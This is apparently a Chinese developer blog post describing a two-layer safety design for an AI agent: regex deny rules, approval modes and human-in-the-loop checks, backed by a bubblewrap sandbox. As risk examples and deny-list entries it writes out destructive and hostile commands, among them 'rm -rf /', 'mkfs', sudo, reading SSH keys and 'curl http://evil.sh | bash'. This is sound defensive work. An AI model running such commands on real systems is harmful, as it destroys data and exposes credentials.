AI Agent 沙箱双层防护体系:从权限过滤到内核隔离的完整实现

记录一下练手的 Express.js + Vercel AI SDK 的 AI Agent 项目。这篇文章是关于如何构建双层沙箱防护体系,让 AI 安全地执行 Shell 命令和文件操作。


1. 引言:AI Agent 的安全困境

让 AI Agent 执行 Shell 命令不难,难的是确保它不会"闯祸"。一个没有约束的 AI Agent 可能带来的风险包括:

  • 破坏性操作rm -rf /mkfs.ext4 /dev/sda 直接摧毁系统
  • 权限滥用sudo 提权、chmod 777 打开安全漏洞
  • 数据泄露 :读取 ~/.ssh/id_rsa.env 中的 API Key
  • 远程下载执行curl http://evil.sh | bash 植入恶意脚本

直接不给执行权限,Agent 就变成了"只会说话的玩具"。给太多权限,又等于把服务器钥匙交给了不可预测的 LLM。

这个项目的核心设计哲学是:与其信任 AI,不如约束 AI 。采用双层防护架构------应用层权限过滤 控制"能不能做",系统层沙箱隔离兜底"出问题的影响范围"。

整体架构如下:

scss 复制代码
用户发送聊天请求 (携带 mode 参数)
        │
        ▼
┌───────────────────────────────────────┐
│        第一层:应用层权限过滤           │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  checkPermission 评估引擎       │  │
│  │  ├─ 45 条内置 deny 规则        │  │
│  │  ├─ 4 种 Chat Mode 策略        │  │
│  │  └─ Human-in-the-Loop 审批     │  │
│  └──────────┬──────────────────────┘  │
│             │ deny / ask              │
│             ▼                         │
│  ┌─────────────────────────────────┐  │
│  │  工具双检机制 (double-check)    │  │
│  │  needsApproval → execute        │  │
│  └─────────────────────────────────┘  │
└──────────────┬────────────────────────┘
               │ 通过
               ▼
┌───────────────────────────────────────┐
│        第二层:系统层沙箱隔离           │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  bubblewrap 内核命名空间隔离    │  │
│  │  ├─ 文件系统访问限制           │  │
│  │  ├─ 网络域名白/黑名单          │  │
│  │  ├─ 写保护 (env/pem/key)      │  │
│  │  └─ 符号链接逃逸防护           │  │
│  └─────────────────────────────────┘  │
│                                       │
│  ┌─────────────────────────────────┐  │
│  │  spawn 子进程执行               │  │
│  │  超时控制 + shell 模式          │  │
│  └─────────────────────────────────┘  │
└───────────────────────────────────────┘

2. 第一层:应用层权限过滤引擎

这是第一道防线。在工具执行之前,先通过声明式规则和模式策略进行评估。

2.1 声明式规则定义

权限规则的核心是一个简单的接口:

typescript 复制代码
export type PermissionBehavior = 'allow' | 'deny' | 'ask';

export interface PermissionRule {
  tool: string;       // 工具名称,如 runCommand、editFile
  behavior: PermissionBehavior;  // 允许/拒绝/审批
  path: string | null;    // 路径正则匹配
  content: string | null; // 命令内容正则匹配
}

每条规则声明一个特定的匹配条件:当某工具调用时,如果它的内容(命令文本)或路径匹配规则中的正则表达式,就触发对应的行为。

项目内置了 45 条 deny 规则,覆盖了最常见的危险操作:

typescript 复制代码
export const permissionRules: PermissionRule[] = [
  // 危险删除
  { tool: 'runCommand', behavior: 'deny', content: 'rm -rf', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'rm -r', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'rm -f', path: null },

  // 权限提升
  { tool: 'runCommand', behavior: 'deny', content: 'sudo', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'su ', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'chmod 777', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'chown -r', path: null },

  // 远程下载执行
  { tool: 'runCommand', behavior: 'deny', content: 'curl.*\\|.*sh', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'wget.*\\|.*sh', path: null },

  // 系统破坏
  { tool: 'runCommand', behavior: 'deny', content: 'mkfs', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'reboot', path: null },
  { tool: 'runCommand', behavior: 'deny', content: 'shutdown', path: null },
  // ... 更多规则
];

2.2 五步评估流程

checkPermission 函数是权限引擎的核心。它接收工具名、上下文(命令/path)和模式,返回一个决策结果:

kotlin 复制代码
checkPermission(tool, { command, path }, mode)
        │
        ├─ Step 1: 过滤匹配规则
        │  遍历所有规则,筛选出 tool 名称匹配,
        │  且 content 正则匹配 command、path 正则匹配 path 的规则
        │
        ├─ Step 2: deny 规则检查 (最高优先级)
        │  有 deny 规则匹配?──→ 立即 return 'deny'
        │
        ├─ Step 3: 模式 (Mode) 检查
        │  根据当前模式调整策略:
        │
        │  mode = 'plan'
        │   ├─ 写操作 (WRITE_TOOLS) ──→ 'deny'
        │   └─ 外部 API (EXTERNAL_API_TOOLS) ──→ 'deny'
        │
        │  mode = 'auto'
        │   ├─ 写操作 ──→ 'deny'
        │   └─ 读操作 (READ_ONLY_TOOLS) ──→ 'allow'
        │
        │  mode = 'yolo' ──→ return 'allow' (无条件放行)
        │
        ├─ Step 4: allow 规则检查
        │  有 allow 规则匹配?──→ return 'allow'
        │
        └─ Step 5: 默认兜底
            ├─ default/plan 模式 → return 'ask' (需审批)
            └─ auto 模式 → return 'allow'

这个流程的关键设计点是 优先级策略deny > mode > allow > ask。即使某个操作被 allow 规则匹配,只要 mode 策略中明确 deny,仍然优先拒绝。这确保了安全策略不可绕过。

2.3 四种模式:从谨慎到信任的谱系

模式 读操作 写操作 外部 API 无匹配时默认值 适用场景
default 需审批 需审批 需审批 需审批 默认,最安全
plan 需审批 拒绝 拒绝 需审批 计划阶段,只读探索
auto 允许 拒绝 需审批 允许 自动执行,安全可控
yolo 允许 允许 允许 允许 完全信任,无限制

模式通过请求体中的 metadata.mode 传入:

json 复制代码
{
  "prompt": "帮我创建一个 React 组件",
  "metadata": { "mode": "yolo" }
}

值得注意的是 plan 模式:这是项目中的一个创新设计。在 Agent 的"计划阶段",写操作和外部 API 调用被直接拒绝,Agent 只能读文件、探索目录。这防止了 Agent 在制定计划时"边想边做",确保计划阶段的纯只读安全。

2.4 工具双检机制

每个工具都实现了两层安全回调------needsApprovalexecute,它们独立调用 checkPermission

typescript 复制代码
editFile: tool({
  description: '修改文件中的文本',
  inputSchema: editFileOptionsSchema,

  // 第一检:是否需要前端审批
  needsApproval: async ({ path }, options) => {
    const ctx = options.experimental_context as { metadata?: Metadata };
    const mode = ctx?.metadata?.mode ?? 'default';
    const permission = checkPermission('editFile', { path }, mode);
    return permission === 'ask';
  },

  // 第二检:执行时再次验证
  execute: async function* (input, options) {
    const mode = options.experimental_context.metadata?.mode ?? 'default';
    const permission = checkPermission('editFile', { path: input.path }, mode);
    if (permission === 'deny') {
      yield { stdout: '', stderr: '该文件无法编辑,因为被禁止了', exitCode: 1 };
      return;
    }
    // 继续沙箱操作...
  },
}),

为什么需要双检?needsApproval 决定前端是否展示审批对话框,它返回 true 时,AI SDK 暂停执行等待用户确认。但用户可能在等待期间切换模式,所以 execute 必须重新校验。这个防御性设计确保执行时刻的安全状态一定是最新的。


3. Human-in-the-Loop:可控的审批流

checkPermission 返回 'ask' 时,系统进入 Human-in-the-Loop 审批流程。这是让 AI Agent 安全可用的关键。

bash 复制代码
Agent 决定调用 editFile
        │
        ▼
  needsApproval 回调返回 true
        │
        ▼
  AI SDK 暂停执行循环
        │
        ▼
  前端消息卡片展示工具详情
  ┌────────────────────────────────┐
  │  🤖 Agent 想要:               │
  │                                │
  │  编辑文件: src/hello.ts        │
  │  搜索: "World"                 │
  │  替换: "AI Agent"              │
  │                                │
  │      [ ✓ 批准 ]  [ ✗ 拒绝 ]    │
  └────────────────────────────────┘
        │
    ┌───┴───┐
    │       │
  批准     拒绝
    │       │
    ▼       ▼
execute   返回错误信息
继续执行   "操作已被用户拒绝"
    │       │
    ▼       ▼
Agent 继续  Agent 跳过该操作
           (且不能重试)

这个流程有两个关键约束:

  1. 审批只针对当前工具调用,不是全局授权。每次危险操作都需要确认。
  2. 拒绝后不能重试。系统提示词明确约束 Agent:
vbnet 复制代码
When a tool execution is rejected by the user,
do not retry or ask again --- just inform the user
the operation was not performed.

这防止了 Agent "坚持不懈"地骚扰用户同意。拒绝就是最终决定。


4. 第二层:系统级沙箱隔离

应用层过滤通过后,命令进入第二道防线------系统级沙箱。这里使用 @anthropic-ai/sandbox-runtime 库(基于 bubblewrap,底层是 Linux 内核命名空间)实现真正的进程隔离。

4.1 沙箱配置

沙箱在 apps/api/src/sandbox/index.ts 中初始化:

typescript 复制代码
const rootDir = path.resolve(os.homedir(), env.SANDBOX_DIR);
const agentsDir = path.resolve(os.homedir(), env.AGENTS_DIR);

const config = {
  network: {
    allowedDomains: ['*'],       // 默认允许所有
    deniedDomains: [],           // 域名黑名单
  },
  enableWeakerNetworkIsolation: true,
  mandatoryDenySearchDepth: 10,  // 符号链接搜索深度上限
  filesystem: {
    denyRead: ['~/.ssh'],                // 禁止读取 SSH 密钥目录
    allowRead: [rootDir, agentsDir],      // 只允许读沙箱和 agents 目录
    allowWrite: [rootDir, '/tmp'],        // 只允许写入沙箱和 tmp
    denyWrite: ['.env', '.env.*', '*.pem', '*.key'],  // 写保护
  },
};

关键防护点:

  • 文件系统隔离 :AI 只能访问 ~/.ai-sdk-demo-sandbox~/.agents/skills 两个目录,无法触及系统关键路径
  • 写保护 :即使有人绕过应用层过滤,沙箱层仍然阻止覆盖 .env*.pem*.key 等敏感文件
  • 符号链接逃逸防护mandatoryDenySearchDepth: 10 限制符号链接的解析深度,防止通过创建符号链接跳出沙箱目录
  • 网络隔离:通过域名黑白名单控制 AI 能访问的外部服务

4.2 命令执行数据流

所有文件操作和命令执行最终都通过 runSandboxedCommand 函数:

php 复制代码
tool.execute 调用 runSandboxedCommand("ls -la /some/path")
        │
        ├─ SANDBOX_ENABLED = true
        │     │
        │     ├─ SandboxManager.wrapWithSandbox("ls -la /some/path")
        │     │    将裸命令包装为 bubblewrap 容器命令
        │     │
        │     ├─ spawn(包装命令, {
        │     │     shell: true,
        │     │     cwd: sandboxDir,
        │     │     timeout: SANDBOX_TIMEOUT,
        │     │   })
        │     │    在内核隔离的子进程中执行
        │     │
        │     ├─ AsyncGenerator 实时 yield stdout/stderr
        │     │
        │     └─ finally: SandboxManager.cleanupAfterCommand()
        │          清理沙箱代理状态
        │
        └─ SANDBOX_ENABLED = false
              │
              ├─ spawn("ls -la /some/path", {
              │     shell: true,
              │     cwd: sandboxDir,
              │     timeout: SANDBOX_TIMEOUT,
              │   })
              │
              └─ 直接执行(开发调试模式)

注意到外层文件操作(如 readFile)也是通过封装 Shell 命令实现的:

typescript 复制代码
// 读取文件 → dd 命令
runSandboxedCommand(`dd if=${path} bs=1 skip=${skipChars} count=${countChars} status=none`);

// 编辑文件 → node -e 内联脚本
runSandboxedCommand(`SEARCH_TEXT='...' REPLACE_TEXT='...' node -e "
  const fs = require('fs');
  const content = fs.readFileSync('${filePath}', 'utf8');
  ...
"`);

// 列出目录 → ls 命令
runSandboxedCommand(`ls -la ${path}`);

所有文件操作都经过沙箱包装,意味着文件系统限制、写保护、符号链接防护对所有操作生效,不仅限于 Shell 命令。

4.3 流式输出处理

沙箱执行采用 AsyncGenerator 模式,实时将子进程的 stdout/stderr 流式输出给调用方:

typescript 复制代码
async function* spawnAndStream(child, stdoutChunks, stderrChunks) {
  // 并发处理 stdout 和 stderr 流
  const controllers = [
    async function* () {
      for await (const chunk of child.stdout) {
        const str = chunk.toString();
        stdoutChunks.push(str);
        yield { stdout: str, stderr: '' };
      }
    }(),
    async function* () {
      for await (const chunk of child.stderr) {
        const str = chunk.toString();
        stderrChunks.push(str);
        yield { stdout: '', stderr: str };
      }
    }(),
  ];

  for (const controller of controllers) {
    yield* controller;
  }

  const exitCode = await new Promise((resolve) => {
    child.on('close', (code) => resolve(code ?? -1));
    child.on('error', () => resolve(-1));
  });

  return { stdout: stdoutChunks.join(''), stderr: stderrChunks.join(''), exitCode };
}

这个模式的优势是:AI SDK 可以在命令执行过程中实时收到输出,而不必等待命令完全结束。对于长时间运行的命令,用户能即时看到进度。最终返回完整输出让 AI 做后续判断。


5. 配套安全机制

5.1 大输出持久化

AI 的上下文窗口有限,一个 ls -la 返回上万行内容就能撑爆上下文。项目实现了输出持久化机制:

typescript 复制代码
// 输出超过 30KB 时自动落盘
if (result.stdout.length > env.TOOL_OUTPUT_PERSIST_THRESHOLD) {
  const { content, persistedFile } = await persistToolOutput(result.stdout);
  result.stdout = content;  // 替换为预览文本
  result.persistedFiles = [persistedFile];  // 携带文件路径引用
}

AI 收到的结果是预览(前 2000 字符)+ 文件路径的提示。如果 AI 需要完整内容,可以再次调用 readFile 读取该文件。这个机制间接也是一个安全措施------防止大输出隐藏恶意内容。

5.2 Fail-Fast 环境校验

所有沙箱配置在项目启动时通过 Zod Schema 校验,缺失关键变量直接阻止启动:

typescript 复制代码
export const envSchema = z.object({
  SANDBOX_ENABLED: envBool(false).describe('是否启用沙箱'),
  SANDBOX_TIMEOUT: z.coerce.number().default(10000),
  SANDBOX_DIR: z.string().default('.ai-sdk-demo-sandbox'),
  SANDBOX_ALLOWED_DOMAINS: z.string().default('*'),
  SANDBOX_DENIED_DOMAINS: z.string().default(''),
  // ...
});

特别注意:SANDBOX_ENABLED 默认为 false,需要显式设置为 true 才能启用沙箱。这避免开发者在不知情的情况下以为自己有沙箱保护。

5.3 Docker 部署的沙箱兼容

在 Docker 环境中运行沙箱需要额外权限,因为 bubblewrap 操作内核命名空间:

dockerfile 复制代码
# Dockerfile
FROM node:23-alpine
RUN apk add --no-cache bash ripgrep bubblewrap socat
COPY --from=builder /app/dist ./dist
CMD ["node", "dist/index.js"]
bash 复制代码
docker run --cap-add=SYS_ADMIN --cap-add=NET_ADMIN -p 3000:3000 your-image

这是整个系统中"安全性和便利性"权衡最明显的例子:沙箱隔离需要额外的容器权限,但这个权限本身也是一种风险。项目选择在文档中明确标注这一点,让部署者自行评估。


6. 架构总览与设计要点

scss 复制代码
                    ┌─────────────────────────┐
                    │  用户 (前端 Vue 3)       │
                    │  metadata: { mode }      │
                    └───────────┬─────────────┘
                                │ POST /api/chat/
                                ▼
                    ┌─────────────────────────┐
                    │    chat.controller.ts   │
                    └───────────┬─────────────┘
                                ▼
                    ┌─────────────────────────┐
                    │    chat.service.ts       │
                    │  提取 metadata           │
                    └───────────┬─────────────┘
                                ▼
                    ┌─────────────────────────┐
                    │ chat.agent.ts           │
                    │ (ToolLoopAgent)         │
                    │                         │
                    │ prepareCall: 注入        │
                    │ experimental_context    │
                    │ ↓ { chatId, metadata }  │
                    │                         │
                    │ tools.needsApproval     │
                    │ → checkPermission()     │
                    │                         │
                    │ tools.execute           │
                    │ → checkPermission()     │  ← 第一层:应用层过滤
                    │ → runSandboxedCommand() │
                    └───────────┬─────────────┘
                                │
                                ▼
                    ┌─────────────────────────┐
                    │  sandbox/index.ts        │
                    │                         │
                    │ SandboxManager          │
                    │ .wrapWithSandbox()      │  ← 第二层:内核隔离
                    │                         │
                    │ spawn + shell: true     │
                    │ cwd: sandboxDir         │
                    │ timeout: 10000ms        │
                    │                         │
                    │ AsyncGenerator yield    │
                    │ stdout/stderr chunks    │
                    └─────────────────────────┘

设计原则总结

原则 体现
纵深防御 (Defense in Depth) 应用层规则 + 系统层沙箱,双层互不依赖
最小权限 (Least Privilege) 默认 ask,显式放开才能执行
Fail-Safe 默认安全 deny > allow 优先级策略
显式信任 (Explicit Trust) yolo 模式需要用户主动选择
可审计 (Auditability) 规则声明式定义,所有操作都有日志

7. 总结

AI Agent 的安全不是一个"开或关"的问题,而是一个渐进的信任谱系。这个项目的双层沙箱设计给出了一个务实的答案:

  1. 声明式规则让安全策略可读、可审计、可扩展。45 条内置规则覆盖了绝大多数已知风险场景。
  2. 四种模式让用户从"锁死"到"放行"之间有四个刻度可选,而不是只有 0 和 1。
  3. Human-in-the-Loop 在最不确定的环节引入人类判断,AI 负责执行,人负责把关。
  4. 内核级沙箱兜底未知风险,即使应用层规则被绕过,bubblewrap 隔离仍然能限制破坏范围。

安全设计的本质不是"构建一个无法被攻破的系统",而是让攻击的成本远高于收益。这个项目的两层防护,每一层都让攻击者多付出一个数量级的成本------对于绝大多数场景,这已经足够。


关联阅读手写一个 AI Agent 全栈项目:从沙箱执行到子智能体的完整实现 --- 本文是该项目架构概览的姊妹篇,介绍了整体技术栈、子智能体、Skills 动态加载等核心功能。

项目源码github.com/oliyg/expre...

相关推荐
字节跳动开源1 小时前
Viking AI 搜索 CLI—— 开发者的合法“外挂”
人工智能·agent
Aphasia3111 小时前
从输入URL到页面展示全流程
前端·面试
GlobalInfo1 小时前
新能源汽车整车控制器(VCU)产业洞察:市场现状+发展前景(2026版)
人工智能·汽车
我叫黑大帅2 小时前
前端如何竖屏固定视口背景
前端·javascript·面试
abcy0712132 小时前
python pandas csv异步后台清洗前端优先返回成功信息
前端·python·pandas
米小虾2 小时前
AI 安全攻防 2026:从对抗样本到 Agent 安全,开发者必须面对的五道防线
人工智能·安全
And_Ii2 小时前
基于 LangGraph 搭建反思迭代 Agent:实现文章自动优化
人工智能
basketball6162 小时前
AI Infra 硬件体系与编程模型:9. 使用 NVCC 进行编译
人工智能
IT空门:门主2 小时前
Spring 注入三剑客:@Resource、@Autowired、@RequiredArgsConstructor 到底该用哪个?
java·后端·spring